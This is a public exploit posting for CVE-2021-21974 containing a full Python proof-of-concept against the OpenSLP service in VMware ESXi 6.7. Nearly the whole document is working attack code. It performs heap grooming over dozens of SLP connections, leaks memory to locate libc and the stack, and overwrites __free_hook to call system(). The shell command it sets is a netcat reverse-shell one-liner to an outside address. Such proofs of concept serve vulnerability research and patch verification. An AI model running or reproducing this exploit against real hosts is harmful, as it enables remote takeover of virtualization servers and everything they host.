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VMware ESXi OpenSLP Heap Overflow

VMware ESXi OpenSLP Heap Overflow
Posted Jun 3, 2021
Authored by Johnny Yu | Site github.com

Proof of concept exploit for the OpenSLP heap overflow in VMware ESXi versions 7.0 before ESXi70U1c-17325551, 6.7 before ESXi670-202102401-SG, and 6.5 before ESXi650-202102101-SG.

tags | exploit, overflow, proof of concept
advisories | CVE-2021-21974
MD5 | 74b3fa0ce957d3e82fb4eb6c32a6c8f6

VMware ESXi OpenSLP Heap Overflow

Change Mirror Download
#!/usr/bin/python3
######################################################################################################
# CVE-2021-21974 PoC Exploit
# By: Johnny Yu (@staight_blast)
# Tested against:
# [1] VMware ESXi 6.7.0 build-14320388 ; VMware ESXi 6.7.0 Update 3
# [2] VMware ESXi 6.7.0 build-16316930 ; VMware ESXi 6.7.0 Update 3
######################################################################################################
import sys
import time
import trace
import queue
import struct
import socket
import threading

IP = sys.argv[1]
#shell_cmd = b'echo "pwned" > /tmp/pwn'
shell_cmd = b'mknod /tmp/backpipe p ; /bin/sh 0</tmp/backpipe | nc 192.168.0.194 80 1>/tmp/backpipe'

DEBUG = False
PRINT = True
LOG_LEAK = False

T = 0.3 #0.4
PORT = 427
COMMAND = 'command'
MARKER = b'\xef\xbe\xad\xde'

LISTEN = 0x65
STREAM_READ = 0x6c
STREAM_WRITE = 0x6f
STREAM_READ_FIRST = 0x6d

LISTEN_FD = 0x8

leaked_data = b'\x00\x00\x00\x00'
leaked_values = None

class SLP_Thread(threading.Thread):
def __init__(self, input_q):
super(SLP_Thread, self).__init__()
self.input_q = input_q

def run(self):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
try:

data = self.input_q.get(True, 0.05)
name = threading.current_thread().name.replace('Thread','SLP Client')

if 'connect' == data[COMMAND]:
if PRINT:
print('[' + name + '] connect')
s.connect((IP, PORT))

elif 'service request' == data[COMMAND]:
arg1 = data['arg1']
outgoing = self.generate_srv_rqst(arg1)
if PRINT:
print('[' + name + '] service request')
s.send(outgoing)
d = s.recv(1024)
if PRINT:
print('[' + name + '] recv: ', d)

elif 'directory agent advertisement' == data[COMMAND]:
arg1 = data['arg1']
arg2 = data['arg2']
outgoing = self.generate_da_advert(arg1, arg2)
if PRINT:
print('[' + name + '] directory agent advertisement')
s.send(outgoing)
d = s.recv(1024)
if PRINT:
print('[' + name + '] recv: ', d)

elif 'service registration' == data[COMMAND]:
arg1 = data['arg1']
arg2 = data['arg2']
arg3 = data['arg3']
arg4 = data['arg4']
outgoing = self.generate_srv_reg(arg1, arg2, arg3, arg4)
if PRINT:
print('[' + name + '] service registration')
s.send(outgoing)
d = s.recv(1024)
if PRINT:
print('[' + name +'] recv: ', d)

elif 'attribute request' == data[COMMAND]:
arg1 = data['arg1']
arg2 = data['arg2']
outgoing = self.generate_attrib_rqst(arg1)
if PRINT:
print('[' + name + '] attribute request')
s.send(outgoing)
output = b''
for i in range(0, arg2):
output += s.recv(1)
if PRINT:
print('[' + name + '] recv: ', output)

elif 'recv' == data[COMMAND]:
output = b''
arg1 = data['arg1']
arg2 = data['arg2']
for i in range(0, arg2):
output += s.recv(1)
if arg1:
print('[' + name + '] recv: ', output)

elif 'leak data' == data[COMMAND]:
outgoing = b''
incoming = b''
arg1 = data['arg1']

if arg1 > 0:

for i in range(0, arg1):
outgoing += s.recv(1)

#print(outgoing.hex())

global leaked_data
leaked_data = outgoing

else:

while True:
incoming = s.recv(1)
outgoing += incoming
if MARKER in outgoing:
break

global leaked_values
leaked_values = []

try:
for i in range(0, len(outgoing), 4):
v = struct.unpack('<I', outgoing[i : i+4])[0]
leaked_values.append(v)
except:
pass

elif 'close' == data[COMMAND]:
if PRINT:
print('[' + name + '] close')
s.close()
break

except queue.Empty:
continue

def generate_slp_header(self, payload, functionid, xid, extoffset):
packetlen = len(payload) + 16
if extoffset:
extoffset += 16
header = bytearray([2, functionid])
header.extend(struct.pack('!IH', packetlen, 0)[1:])
header.extend(struct.pack('!IHH', extoffset, xid, 2)[1:])
header.extend(b'en')
return header

def generate_srv_rqst(self, data):
srvtype = prlist = scopes = predicate = b''
spi = data
payload = bytearray(struct.pack('!H', len(prlist)) + prlist)
payload.extend(struct.pack('!H', len(srvtype)) + srvtype)
payload.extend(struct.pack('!H', len(scopes)) + scopes)
payload.extend(struct.pack('!H', len(predicate)) + predicate)
payload.extend(struct.pack('!H', len(spi)) + spi)
header = self.generate_slp_header(payload, 1, 5, 0)
return header + payload

def generate_da_advert(self, url, scopes):
error_code = 0
boot_time = int(time.time())
attributes = spi = auth_blocks = b''
payload = bytearray(struct.pack('!H', error_code) + struct.pack('!I', boot_time))
payload.extend(struct.pack('!H', len(url)) + url)
payload.extend(struct.pack('!H', len(scopes)) + scopes)
payload.extend(struct.pack('!H', len(attributes)) + attributes)
payload.extend(struct.pack('!H', len(spi)) + spi)
payload.extend(struct.pack('!H', len(auth_blocks)) + auth_blocks)
header = self.generate_slp_header(payload, 8, 0, 0)
return header + payload

def generate_url_entry(self, url):
lifetime = 2 * 60 #seconds
auth_blocks = b''
payload = bytearray([0])
payload.extend(struct.pack('!H', lifetime))
payload.extend(struct.pack('!H', len(url)) + url)
payload.extend(struct.pack('!B', len(auth_blocks)) + auth_blocks)
return payload

def generate_srv_reg(self, url, srvtype, scopes, attributes):
attrib_auth_blocks = b''
url_entry = self.generate_url_entry(url)
payload = bytearray(url_entry)
payload.extend(struct.pack('!H', len(srvtype)) + srvtype)
payload.extend(struct.pack('!H', len(scopes)) + scopes)
payload.extend(struct.pack('!H', len(attributes)) + attributes)
payload.extend(struct.pack('!B', len(attrib_auth_blocks)) + attrib_auth_blocks)
header = self.generate_slp_header(payload, 3, 20, 0)
return header + payload

def generate_attrib_rqst(self, url):
scopes = b'DEFAULT'
prlist = tags = spi = b''
payload = bytearray(struct.pack('!H', len(prlist)) + prlist)
payload.extend(struct.pack('!H', len(url)) + url)
payload.extend(struct.pack('!H', len(scopes)) + scopes)
payload.extend(struct.pack('!H', len(tags)) + tags)
payload.extend(struct.pack('!H', len(spi)) + spi)
header = self.generate_slp_header(payload, 6, 12, 0)
return header + payload

def close():
time.sleep(T)
return {'command' : 'close'}

def connect():
time.sleep(T)
return {'command' : 'connect'}

def service_request(arg1):
time.sleep(T)
return {'command' : 'service request', 'arg1' : arg1}

def da_advert_request(arg1, arg2):
time.sleep(T)
return {'command' : 'directory agent advertisement', 'arg1' : arg1, 'arg2' : arg2}

def service_registration(arg1, arg2):
time.sleep(T)
return {'command' : 'service registration', 'arg1' : b'127.0.0.1', 'arg2' : arg1, 'arg3' : b'default', 'arg4' : arg2}

def attribute_request(arg1, arg2):
time.sleep(T)
return {'command' : 'attribute request', 'arg1' : arg1, 'arg2' : arg2}

def leak_data(arg1 = -1):
time.sleep(T)
return {'command' : 'leak data', 'arg1': arg1}

def overflow_and_extend(size, flag):
arg1 = b'A' * 24
arg2 = b'B' * 13 + struct.pack('<H', size + flag) + b':/' + b'C' * 647
return da_advert_request(arg1, arg2)

def update_target_slpdsocket(fd, size, state):
payload = b'\xd0\x00\x00\x00'
payload += b'\x00' * 8 + b'\xbe\xba\xfe\xca'
payload += struct.pack('<I', fd)
payload += b'\x00' * 4
payload += struct.pack('<I', state)
payload += b'\x00' * 12
payload += b'\x02\x00\x00\x00'
payload += b'\x7f\x00\x00\x01'
payload += b'\x00' * 8
filler = b'A' * (size - 0x76)
return service_request(filler + payload)

def partial_update_target_send_buffer(size, send_buffer_size, flag, data):
payload = struct.pack('<I', send_buffer_size + flag)
payload += b'\x00' * 8
payload += struct.pack('<I', send_buffer_size - 0x20)
payload += data #b'\x00' * 2
filler = b'A' * (size - 0x56)
return service_request(filler + payload)

def update_target_send_buffer(size, send_buffer_size, flag, address, length):
payload = struct.pack('<I', send_buffer_size + flag)
payload += b'\x00' * 8
payload += struct.pack('<I', send_buffer_size - 0x20)
payload += struct.pack('<I', address) * 2
payload += struct.pack('<I', address + length)
payload += b'\x00' * 0x10
filler = b'A' * (size - 0x66)
return service_request(filler + payload)

def update_target_recv_buffer(size, address):
size += 0x1a
payload = b'\x40\x00\x00\x00'
payload += b'\x00' * 8
payload += struct.pack('<I', size)
payload += struct.pack('<I', address - 26) * 2 + struct.pack('<I', address - 26 + size)
filler = b'A' * 0xca
return service_request(filler + payload)

def block(size):
if size > 0x38:
size = size - 0x38
else:
size = 1
return service_request(b'A' * size)

def breakpoint():
time.sleep(T)
input('breakpoint')

def exploit():
count = 60
requests = [0]
slpclients = [0]

global leaked_data
global leaked_values

requests.extend([queue.Queue() for i in range(1, count)])
slpclients.extend([SLP_Thread(input_q = requests[i]) for i in range(1, count)])

for i in range(1, count):
slpclients[i].start()

requests[1].put(connect())
requests[1].put(da_advert_request(b'roflmao://pwning', b'BBB'))

requests[2].put(connect())
requests[3].put(connect())
requests[4].put(connect())
requests[5].put(connect())

requests[2].put(block(0x40))
requests[3].put(block(0x40))
requests[4].put(block(0x40))
requests[5].put(block(0x40))

requests[6].put(connect())
requests[6].put(block(0x810))
requests[7].put(connect())
requests[8].put(connect())
requests[6].put(close())
requests[9].put(connect())
requests[9].put(overflow_and_extend(0x140, 0x1))
fd = 0xc
requests[8].put(update_target_slpdsocket(fd, 0x140, STREAM_READ_FIRST))
requests[7].put(service_registration(b'service:pwn', MARKER + b'B' * (0x3200 - 21 - 4)))
requests[8].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))
requests[10].put(connect())
requests[10].put(block(0x70))

requests[11].put(connect())
requests[12].put(connect())
requests[13].put(connect())
requests[11].put(block(0x810))
requests[14].put(connect())
requests[14].put(block(0x160))
requests[12].put(block(0x810))
requests[14].put(close())
requests[15].put(connect())
requests[15].put(attribute_request(b'service:pwn', 0x20))

requests[13].put(block(0x110))
requests[16].put(connect())
requests[17].put(connect())

requests[12].put(close())
requests[18].put(connect())
requests[18].put(overflow_and_extend(0x120, 0x3))
requests[17].put(partial_update_target_send_buffer(0x120, 0x3220, 0x1, b'\x00\x00'))
requests[19].put(connect())
requests[19].put(block(0x178))

requests[11].put(close())
requests[20].put(connect())
requests[20].put(overflow_and_extend(0x140, 0x1))
fd = 0x11
requests[16].put(update_target_slpdsocket(fd, 0x140, STREAM_WRITE))
requests[16].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))
requests[21].put(connect())
requests[21].put(block(0x178))
requests[15].put(leak_data())

time.sleep(T + 1.0)

heap_address = 0
libc_base_address = 0

if leaked_values == None:
print("[-] Exploit Failed [-]")
return -1

leaked_values = leaked_values[::-1]

if LOG_LEAK:
for i in leaked_values:
print(hex(i))

if leaked_values[0] == 0xdeadbeef:
heap_address = leaked_values[6] - 0x3220 + 0x4

elif leaked_values[0] == 0xefeb3174:
heap_offset = 0x2b1 if leaked_values[42] == 0x42424242 else 0x5d61
heap_address = leaked_values[14] + heap_offset

libc_leak_location = heap_address - 0x100 + 4

requests[22].put(connect())
requests[22].put(block(0x810))
requests[23].put(connect())
requests[23].put(block(0x100))
requests[24].put(connect())
requests[24].put(block(0x810))
requests[23].put(close())
requests[25].put(connect())
requests[25].put(block(0x698))

requests[27].put(connect())
requests[28].put(connect())

requests[24].put(close())
requests[26].put(connect())
requests[26].put(overflow_and_extend(0x130, 0x1))
requests[27].put(update_target_send_buffer(0x130, 0x598, 0x1, libc_leak_location, 0x4))
requests[29].put(connect())
requests[29].put(block(0x178))

requests[22].put(close())
requests[30].put(connect())
requests[30].put(overflow_and_extend(0x140, 0x1))
fd = 0x15
requests[28].put(update_target_slpdsocket(fd, 0x140, STREAM_WRITE))
requests[28].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))
requests[31].put(connect())
requests[31].put(block(0x178))
requests[25].put(leak_data(0x4))

time.sleep(T + 1.0)
libc_base_address = struct.unpack('<I', leaked_data)[0] - 0x193568

libc_ret_offset = 0x0008009c
libc_system_offset = 0x0003e390
libc_environ_offset = 0x00194e20
libc___free_hook_offset = 0x001948d8
libc_ret_address = libc_base_address + libc_ret_offset
libc_system_address = libc_base_address + libc_system_offset
libc_environ_address = libc_base_address + libc_environ_offset
libc___free_hook_address = libc_base_address + libc___free_hook_offset
shell_cmd_address = heap_address + 0x34

gadget_offset = 0x0007fe01 # add esp, 0x100 ; ret
gadget_address = libc_base_address + gadget_offset

requests[27].put(update_target_send_buffer(0x130, 0x598, 0x1, libc_environ_address, 0x4))
requests[28].put(update_target_slpdsocket(fd, 0x140, STREAM_WRITE))
requests[25].put(leak_data(0x4))

time.sleep(T + 1.0)
stack_environ_address = struct.unpack('<I', leaked_data)[0]
esp_offset = 0xe30 if sys.argv[2] == '1' else 0xe7c
esp_value = stack_environ_address - esp_offset
pivoted_esp_value = esp_value + 0x100

print()
print('[+] libc base address: ', hex(libc_base_address))
print("[+] libc system address: ", hex(libc_system_address))
print("[+] libc environ address: ", hex(libc_environ_address))
print("[+] libc __free_hook address: ", hex(libc___free_hook_address))
print("[+] ret address: ", hex(libc_ret_address))
print("[+] gadget address: ", hex(gadget_address))
print('[+] heap address: ', hex(heap_address))
print("[+] shell command address: ", hex(shell_cmd_address))
print("[+] stack enviorn address: ", hex(stack_environ_address))
print("[+] esp value: ", hex(esp_value))
print("[+] pivoted esp value: ", hex(pivoted_esp_value))
print()

requests[28].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))

requests[32].put(connect())
requests[32].put(block(0x810))
requests[33].put(connect())
requests[34].put(connect())
requests[34].put(block(0x810))
requests[33].put(block(0x100))

requests[35].put(connect())
requests[36].put(connect())

requests[34].put(close())
requests[37].put(connect())
requests[37].put(overflow_and_extend(0x120, 0x3))
requests[36].put(update_target_recv_buffer(0x4, shell_cmd_address))
requests[38].put(connect())
requests[38].put(block(0x178))

requests[32].put(close())
requests[39].put(connect())
requests[39].put(overflow_and_extend(0x140, 0x1))
requests[35].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))
requests[40].put(connect())
requests[40].put(block(0x178))

fd = 0x1a
payload = shell_cmd + b'\x00'
requests[36].put(update_target_recv_buffer(len(payload), shell_cmd_address))
requests[35].put(update_target_slpdsocket(fd, 0x140, STREAM_READ))
requests[33].put(service_request(payload))

payload = struct.pack('<I', libc_ret_address) * 10 + struct.pack('<I', libc_system_address) + b'\x41' * 4 + struct.pack('<I', shell_cmd_address)
requests[36].put(update_target_recv_buffer(len(payload), pivoted_esp_value - 0x10))
requests[35].put(update_target_slpdsocket(fd, 0x140, STREAM_READ))
requests[33].put(service_request(payload))

#breakpoint()

payload = b'\x41\x41\x41\x41' if DEBUG == True else struct.pack('<I', gadget_address)
requests[36].put(update_target_recv_buffer(len(payload), libc___free_hook_address))
requests[35].put(update_target_slpdsocket(fd, 0x140, STREAM_READ))
requests[33].put(service_request(payload))

time.sleep(T + 1.0)
print('[*] exploit deployed')
return 0

def intro():
print(" _____ _____ ___ __ ___ _ ___ _ ___ ____ _ _ ")
print(" / __\ \ / / __|_|_ ) \_ ) |__|_ ) / _ \__ | | | ")
print(" | (__ \ V /| _|___/ / () / /| |___/ /| \_, / / /|_ _| ")
print(" \___| \_/ |___| /___\__/___|_| /___|_|/_/ /_/ |_| ")
print()
print(" PoC Exploit ")
print()
print(" vuln discovered by: Lucas Leong (@_wmliang_) ")
print(" poc by: Johnny Yu (@straight_blast) ")
print(" ")
print()
print(" currently support the following: ")
print(" [1] VMware ESXi 6.7.0 build-14320388 ")
print(" [2] VMware ESXi 6.7.0 build-16316930 ")
print()

if __name__ == '__main__':
intro()
exploit()

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